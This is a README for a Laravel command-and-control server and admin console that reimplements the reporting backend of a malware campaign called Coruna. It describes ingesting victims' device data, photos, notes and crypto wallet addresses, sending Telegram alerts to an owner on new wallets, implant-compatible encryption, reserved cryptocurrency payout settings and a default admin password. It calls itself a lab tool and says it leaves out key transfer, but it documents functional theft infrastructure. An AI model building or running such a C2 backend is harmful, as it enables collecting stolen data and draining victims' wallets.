Coruna Lab C2 + Admin

Laravel reporting C2 API and LayuiAdmin console for local lab use.

• Implements reporting routes from the Coruna dataflow doc (§7.2)
• AES-256-ECB JSON transport + multipart /api/user/check 7z extract
• Persists devices / apps / photos / notes / wallets + full c2_raw_logs
• Telegram notify on new device and new/changed wallet address only
• Does not implement /kill or any mnemonic/private-key transfer

Requirements

Tool	Path / note
PHP 8.5+	/opt/homebrew/opt/php/bin/php (do not use PATH’s old 7.3)
Composer	via brew PHP
MySQL 8.0	preferred (coruna_lab DB) — sqlite works for smoke
p7zip	/opt/homebrew/opt/p7zip/bin/7z for photo archives

export PATH="/opt/homebrew/opt/php/bin:$PATH"
php -v   # expect 8.5.x

Setup

cd coruna-lab/server
cp .env.example .env   # if needed
# edit .env: DB_*, TELEGRAM_*, ADMIN_*

# MySQL 8 (DB: coruna) — set DB_* in .env then:
php artisan key:generate   # once
php artisan migrate --seed
php artisan serve --host=0.0.0.0 --port=8000

Admin UI uses layuiAdmin std iframe assets from public/static/layuiadmin/ (synced from local layuiAdmin.std-v1.4.0/dist/layuiadmin).

Default admin (from seeder / .env):

• Shell: http://127.0.0.1:8000/admin
• Login: http://127.0.0.1:8000/admin/login — admin / admin123

Point reporting at this lab

Implants call the campaign reporting host. For lab capture, resolve that host to this machine (DNS / /etc/hosts / mitm) so traffic hits php artisan serve (or a reverse proxy in front of public/).

C2 routes are unauthenticated (client-compatible). Admin is session-auth under /admin.

C2 API reference

各 reporting 接口用途、请求/响应数据结构：docs/C2_API.md。

Crypto

session_key = map(b -> (b%94)+33, bytes.fromhex(derive_archive_password(0)))  # 16 ASCII
aes_key     = SHA256(session_key || timestamp)   # 13-digit header
body        = Base64(AES-256-ECB-PKCS7(timestamp || payload))

Optional .env override: CORUNA_SESSION_KEY (16 ASCII). Empty = PHP KDF (parity with Python coruna_netconfig_pipeline.derive_archive_password(0)).

Known vector: SHA256(session_key) = 9bcc53d7…ef1be1e4.

/api/user/check: repair Coruna 7z header, password session_key||batchBase (default 0). sig is ignored.

Env knobs

Key	Purpose
TELEGRAM_BOT_TOKEN / TELEGRAM_OWNER_CHAT_ID	New device / wallet alerts
PAYOUT_ETH / BTC / TRON / SOL	Reserved only — not wired
CORUNA_7Z_BIN	p7zip binary

Tests

php artisan test
# Unit: CorunaCrypto vs Python vectors
# Feature: query / avatar/set ingest / admin login
